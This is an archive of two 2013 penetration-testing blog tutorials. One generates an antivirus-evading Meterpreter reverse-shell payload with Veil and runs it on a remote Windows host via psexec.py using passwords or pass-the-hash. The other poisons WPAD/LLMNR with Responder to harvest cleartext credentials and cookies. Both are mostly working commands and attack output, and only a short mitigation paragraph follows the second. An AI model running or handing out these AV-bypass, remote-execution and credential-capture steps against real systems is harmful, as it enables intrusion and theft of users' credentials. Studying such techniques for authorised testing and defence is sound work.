Archive for June, 2013

Veil + psexec.py = pwnage

Before I begin, please do not upload any payloads referenced in this tutorial to sites like VirusTotal. Antivirus companies use these samples to create new signatures for their products. OK, on to it.

First of all, Veil is a nice little payload generator that will generate your windows payload all within Kali. It was created by Chris Truncer using some of the antivirus bypass techniques shared by Dave Kennedy and Debasish Mandal. Chris already has a nice tutorial on how to get setup and running. I’ve been using Option 7 to generate payloads, which seems to bypass Microsoft Security Essentials just fine.

Finally, you can use CoreLab’s python version of psexec to execute your payload on a remote machine. To install, simply download the latest version of Impacket and run setup.py.

root@kali:~# wget http://impacket.googlecode.com/files/impacket-0.9.10.tar.gz
root@kali:~# tar -xzvf impacket-0.9.10.tar.gz
root@kali:~# cd impacket-0.9.10/
root@kali:~/impacket-0.9.10# python setup.py install

Let’s walk through a quick example of using both of these tools.

First, we generate a payload:

root@kali:/opt/Veil# python Veil.py 

=========================================================================
 Veil | [Version]: 1.1.0 | [Updated]: 06.01.2013
=========================================================================

[?] What payload type would you like to use?

 1 - Meterpreter - Python - void pointer
 2 - Meterpreter - Python - VirtualAlloc()
 3 - Meterpreter - Python - base64 Encoded
 4 - Meterpreter - Python - Letter Substitution
 5 - Meterpreter - Python - ARC4 Stream Cipher
 6 - Meterpreter - Python - DES Encrypted
 7 - Meterpreter - Python - AES Encrypted
 8 - Meterpreter - C - void pointer
 9 - Meterpreter - C - VirtualAlloc()
 0 - Exit Veil

[>] Please enter the number of your choice: 7

=========================================================================
 Veil | [Version]: 1.1.0 | [Updated]: 06.01.2013
=========================================================================

[?] Use msfvenom or supply custom shellcode?

 1 - msfvenom (default)
 2 - Custom

[>] Please enter the number of your choice: 1

=========================================================================
 Veil | [Version]: 1.1.0 | [Updated]: 06.01.2013
=========================================================================

[?] What type of payload would you like?

 1 - Reverse TCP
 2 - Reverse HTTP
 3 - Reverse HTTPS
 0 - Main Menu

[>] Please enter the number of your choice: 1
[?] What's the Local Host IP Address: 192.168.81.201
[?] What's the Local Port Number: 443
[*] Generating shellcode...

=========================================================================
 Veil | [Version]: 1.1.0 | [Updated]: 06.01.2013
=========================================================================

[?] How would you like to create your payload executable?

 1 - Pyinstaller (default)
 2 - Py2Exe

[>] Please enter the number of your choice: 1

=========================================================================
 Veil | [Version]: 1.1.0 | [Updated]: 06.01.2013
=========================================================================

[!] Be sure to set up a Reverse TCP handler with the following settings:

 PAYLOAD = windows/meterpreter/reverse_tcp
 LHOST   = 192.168.81.201
 LPORT   = 443

[!] Your payload files have been generated, don't get caught!

root@kali:/opt/Veil# mv payload.exe TrustedSec.exe

Next, we start a multi/handler with “smart_migrate” enabled:

msf exploit(handler) > resource /root/scripts/msf/multi_handler/reverse_tcp.rc 
[*] Processing /root/scripts/msf/multi_handler/reverse_tcp.rc for ERB directives.
resource (/root/scripts/msf/multi_handler/reverse_tcp.rc)> use multi/handler
resource (/root/scripts/msf/multi_handler/reverse_tcp.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/scripts/msf/multi_handler/reverse_tcp.rc)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (/root/scripts/msf/multi_handler/reverse_tcp.rc)> set LPORT 443
LPORT => 443
resource (/root/scripts/msf/multi_handler/reverse_tcp.rc)> set ExitOnSession false
ExitOnSession => false
resource (/root/scripts/msf/multi_handler/reverse_tcp.rc)> set AutoRunScript post/windows/manage/smart_migrate
AutoRunScript => post/windows/manage/smart_migrate
resource (/root/scripts/msf/multi_handler/reverse_tcp.rc)> exploit -j -z
[*] Exploit running as background job.
[*] Started reverse handler on 0.0.0.0:443 
[*] Starting the payload handler...

Now, we can use “psexec.py” to upload and execute our payload using username/password or username/hash:

Username/password example:
psexec.py TrustedSec:’InformationSecurityMadeSimple!’@192.168.81.129 cmd.exe

Username/hash example:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0cb6948805f797bf2a82807973b89537 test@192.168.81.129 cmd.exe

Psexec session:

Impacket v0.9.10 - Copyright 2002-2013 Core Security Technologies
Trying protocol 445/SMB...
[*] Requesting shares on 192.168.81.139.....
[*] Found writable share ADMIN$
[*] Uploading file KDgwQrZj.exe
[*] Opening SVCManager on 192.168.81.139.....
[*] Creating service rWGK on 192.168.81.139.....
[*] Starting service rWGK.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>put TrustedSec.exe
[*] Uploading TrustedSec.exe to ADMIN$\/
C:\Windows\system32>start TrustedSec.exe
C:\Windows\system32>del ..\\TrustedSec.exe
C:\Windows\system32>exit
[*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0
[*] Opening SVCManager on 192.168.81.139.....
[*] Stoping service rWGK.....
[*] Removing service rWGK.....
[*] Removing file KDgwQrZj.exe.....

Reap the shellz:

[*] Sending stage (751104 bytes) to 192.168.81.129
[*] Meterpreter session 1 opened (192.168.81.201:443 -> 192.168.81.129:1038) at 2013-06-09 19:57:17 -0400
[*] Session ID 1 (192.168.81.201:443 -> 192.168.81.129:1038) processing AutoRunScript 'post/windows/manage/smart_migrate'
[*] Current server process: TrustedSec.exe (1436)
[+] Migrating to 632
[+] Successfully migrated to process

BooYah!!!

No Comments

WPAD Man-In-The-Middle

I’m sure every pentester is aware of the WPAD man-in-the-middle trick, but here is my walkthrough of a dirty little trick that utilizes this vulnerability to grab some clear text credentials. If you’re not already aware, there is potential vulnerability that exists in the way that Internet Explorer is configured to “auto detect” its proxy settings. If “Automatically detect proxy settings” is checked in the proxy configuration tab, IE will generate a name lookup request on the network, for a host named “WPAD”, on initialization.

AutoDetectIE

On a corporate network, a DNS entry for “WPAD” should point to a proxy server that hosts a “wpad.dat” file, which tells Internet Explorer where to direct its Internet traffic. If that DNS query fails, the client falls back to WINS, and finally resorts to a local broadcast to try to find a host named “WPAD” on the network. On operating systems of Windows Vista and later, this request is based on a protocol named Link-local Multi-cast Name Resolution (LLMNR).

Here is where the dirty trick comes in. If we are on the same broadcast network as the client attempting to resolve this “WPAD” host, we can create a service that answers that request and claims that we are that host. Another dirty trick is to host the “wpad.dat” file on an HTTP server that requires basic authentication. Who doesn’t try re-entering their credentials when prompted on their corporate network, right?

So, the brilliant folks at SpiderLabs have provided us with an awesome utility, named Responder, that we can use to exploit the scenario described above. To install, use GIT to clone the repository.

root@kali:/opt# git clone https://github.com/SpiderLabs/Responder.git
Cloning into 'Responder'...
remote: Counting objects: 82, done.
remote: Compressing objects: 100% (35/35), done.
remote: Total 82 (delta 46), reused 80 (delta 45)
Unpacking objects: 100% (82/82), done.

Run the script with the “-h” argument to enumerate the available options.

root@kali:/opt/Responder# python Responder.py -h
Usage: python Responder.py -i 10.20.30.40 -b 1 -s On -r 0

Options:
  -h, --help            show this help message and exit
  -i 10.20.30.40, --ip=10.20.30.40
                        The ip address to redirect the traffic to. (usually
                        yours)
  -b 0, --basic=0       Set this to 1 if you want to return a Basic HTTP
                        authentication. 0 will return an NTLM
                        authentication.This option is mandatory.
  -s Off, --http=Off    Set this to On or Off to start/stop the HTTP server.
                        Default value is On
  --ssl=Off             Set this to On or Off to start/stop the HTTPS server.
                        Default value is On
  -S Off, --smb=Off     Set this to On or Off to start/stop the SMB server.
                        Default value is On
  -q Off, --sql=Off     Set this to On or Off to start/stop the SQL server.
                        Default value is On
  -r 0, --wredir=0      Set this to enable answers for netbios wredir suffix
                        queries. Answering to wredir will likely break stuff
                        on the network (like classics 'nbns spoofer' will).
                        Default value is therefore set to Off (0)
  -c 1122334455667788, --challenge=1122334455667788
                        The server challenge to set for NTLM authentication.
                        If not set, then defaults to 1122334455667788, the
                        most common challenge for existing Rainbow Tables
  -l Responder-Session.log, --logfile=Responder-Session.log
                        Log file to use for Responder session.
  -f Off, --fingerprint=Off
                        This option allows you to fingerprint a host that
                        issued an NBT-NS or LLMNR query.
  -F On, --ftp=On       Set this to On or Off to start/stop the FTP server.
                        Default value is On
  -L On, --ldap=On      Set this to On or Off to start/stop the LDAP server.
                        Default value is On
  -D On, --dns=On       Set this to On or Off to start/stop the DNS server.
                        Default value is On
  -w Off, --wpad=Off    Set this to On or Off to start/stop the WPAD rogue
                        proxy server. Default value is Off
  --lm=0                Set this to 1 if you want to force LM hashing
                        downgrade for Windows XP/2003 and earlier. Default
                        value is False (0)

Now, we simply run the script with the basic authentication and WPAD modules enabled, sit back, and wait for the clear text creds to roll in.

root@kali:/opt/Responder# python Responder.py -i 192.168.81.168 -b 1 -w On
NBT Name Service/LLMNR Answerer 1.0.
Please send bugs/comments to: lgaffie@trustwave.com
To kill this script hit CRTL-C

[+]NBT-NS & LLMNR responder started
Global Parameters set:
Challenge set is: 1122334455667788
WPAD Proxy Server is:ON
HTTP Server is:ON
HTTPS Server is:ON
SMB Server is:ON
SMB LM support is set to:0
SQL Server is:ON
FTP Server is:ON
DNS Server is:ON
LDAP Server is:ON
FingerPrint Module is:OFF

When the client attempts to access the Internet, a prompt is displayed for credentials. When entered, the credentials are captured and the client is redirected to the Internet.

BasicAuthPrompt

All captured credentials are echoed to the console as well as saved to a text file in the same directory.

LLMNR poisoned answer sent to this IP: 192.168.81.139. The requested name was : wpad.
LLMNR poisoned answer sent to this IP: 192.168.81.139. The requested name was : wpad.
[+]WPAD file sent to: 192.168.81.139
[+]WPAD file sent to: 192.168.81.139
[+]WPAD file sent to: 192.168.81.139
LLMNR poisoned answer sent to this IP: 192.168.81.139. The requested name was : wpadwpadwpad.
[+]HTTP Proxy sent from: 192.168.81.139 The requested URL was: http://www.google.com/ 
[+]HTTP Cookie Header sent from: 192.168.81.139 The Cookie is: 
Cookie: PREF=ID=cf041dac8a824658:U=378b2bd61a938327:FF=0:TM=1370374508:LM=1370374965:S=bGMJzuuLXRGW_FMG; NID=67=s5Du4EheeC4qgE8wCp1UpOV-qVFHLeRblrMBRtbsvSf_FJzu5HF6ukgcUx4l_g74TcqLJtS40PNxLB_qyxnCAoMw5VJ2A6pdYyZeco1cYfP35EjWDjCIpk0DdlQCkuhB
[+]HTTP Proxy sent from: 192.168.81.139 The requested URL was: http://www.google.com/ 
[+]HTTP Cookie Header sent from: 192.168.81.139 The Cookie is: 
Cookie: PREF=ID=cf041dac8a824658:U=378b2bd61a938327:FF=0:TM=1370374508:LM=1370374965:S=bGMJzuuLXRGW_FMG; NID=67=s5Du4EheeC4qgE8wCp1UpOV-qVFHLeRblrMBRtbsvSf_FJzu5HF6ukgcUx4l_g74TcqLJtS40PNxLB_qyxnCAoMw5VJ2A6pdYyZeco1cYfP35EjWDjCIpk0DdlQCkuhB
[+][Proxy]HTTP-User & Password: Spoonman:PleaseDon'tStealMyPassword!!!
[+]HTTP Proxy sent from: 192.168.81.139 The requested URL was: http://www.google.co.uk/ 
[+]HTTP Cookie Header sent from: 192.168.81.139 The Cookie is: 
Cookie: PREF=ID=133881244d00a360:U=695158418963de2f:FF=0:TM=1370374508:LM=1370374965:S=Z-zbOdxLlJKMAi9j; NID=67=ZAlxN3yhjTrFufC58FtofKUgd1EpBDH5V5KhdNoim_yGDDTMyyhvLdhYEevm84-Wg66zeHwGdnaFMzr_og0yJgjsNTpFeKo872exiCknsH4Nd1PRbm33Aa9W8oK-WBDa
[+][Proxy]HTTP-User & Password: Spoonman:PleaseDon'tStealMyPassword!!!
[+]HTTP Proxy sent from: 192.168.81.139 The requested URL was: http://www.google.co.uk/gen_204?atyp=i&ct=&cad=&vet=10CAYQ-Cc&ei=GK6vUc-AM7L60gX9-4DwAw&zx=1370467867536 
[+]HTTP Cookie Header sent from: 192.168.81.139 The Cookie is: 
Cookie: PREF=ID=133881244d00a360:U=695158418963de2f:FF=0:TM=1370374508:LM=1370374965:S=Z-zbOdxLlJKMAi9j; NID=67=ZAlxN3yhjTrFufC58FtofKUgd1EpBDH5V5KhdNoim_yGDDTMyyhvLdhYEevm84-Wg66zeHwGdnaFMzr_og0yJgjsNTpFeKo872exiCknsH4Nd1PRbm33Aa9W8oK-WBDa
[+][Proxy]HTTP-User & Password: Spoonman:PleaseDon'tStealMyPassword!!!
[+]HTTP Proxy sent from: 192.168.81.139 The requested URL was: http://www.google.co.uk/gen_204?v=3&s=webhp&action=&e=17259,4000116,4001351,4001948,4002855,4003714,4004320,4004334,4004788,4004844,4004897,4004943,4004949,4004953,4004972,4005031,4005614,4005819,4005864,4005875,4005986,4006191,4006339,4006347,4006349,4006425,4006442,4006466,4006524,4006541,4006578,4006727,4007007,4007009,4007020,4007055,4007060,4007073,4007076,4007080,4007117,4007118,4007131,4007158,4007232,4007296,4007321,4007328,4007335,4007445,4007521,4007533&ei=GK6vUc-AM7L60gX9-4DwAw&imc=3&imn=3&imp=3&dM=10&atyp=csi&adh=&rt=xjsls.176,prt.178,ol.196,iml.182,xjses.363,xjsee.414,xjs.460,wsrt.23930,cst.0,dnst.0,rqst.236,rspt.143 
[+]HTTP Cookie Header sent from: 192.168.81.139 The Cookie is: 
Cookie: PREF=ID=133881244d00a360:U=695158418963de2f:FF=0:TM=1370374508:LM=1370374965:S=Z-zbOdxLlJKMAi9j; NID=67=ZAlxN3yhjTrFufC58FtofKUgd1EpBDH5V5KhdNoim_yGDDTMyyhvLdhYEevm84-Wg66zeHwGdnaFMzr_og0yJgjsNTpFeKo872exiCknsH4Nd1PRbm33Aa9W8oK-WBDa
[+][Proxy]HTTP-User & Password: Spoonman:PleaseDon'tStealMyPassword!!!

root@kali:/opt/Responder# cat HTTP-Proxy-Clear-Text-Password-192.168.81.139.txt 
Spoonman:PleaseDon'tStealMyPassword!!!

Easy as pie…

Now, how do we protect our corporate networks from this attack? The simplest solution is to create a DNS entry for “WPAD” that points to the corporate proxy server. Even if the server doesn’t actually host a “wpad.dat” file, an attacker won’t be able to exploit the client resolution process (unless, of course, the DNS server is compromised). Another solution is to disable “Autodetect proxy settings” on all Internet Explorer clients, through Group Policy or any other configuration  delivery method.

Now go, and be the Middle Man.

No Comments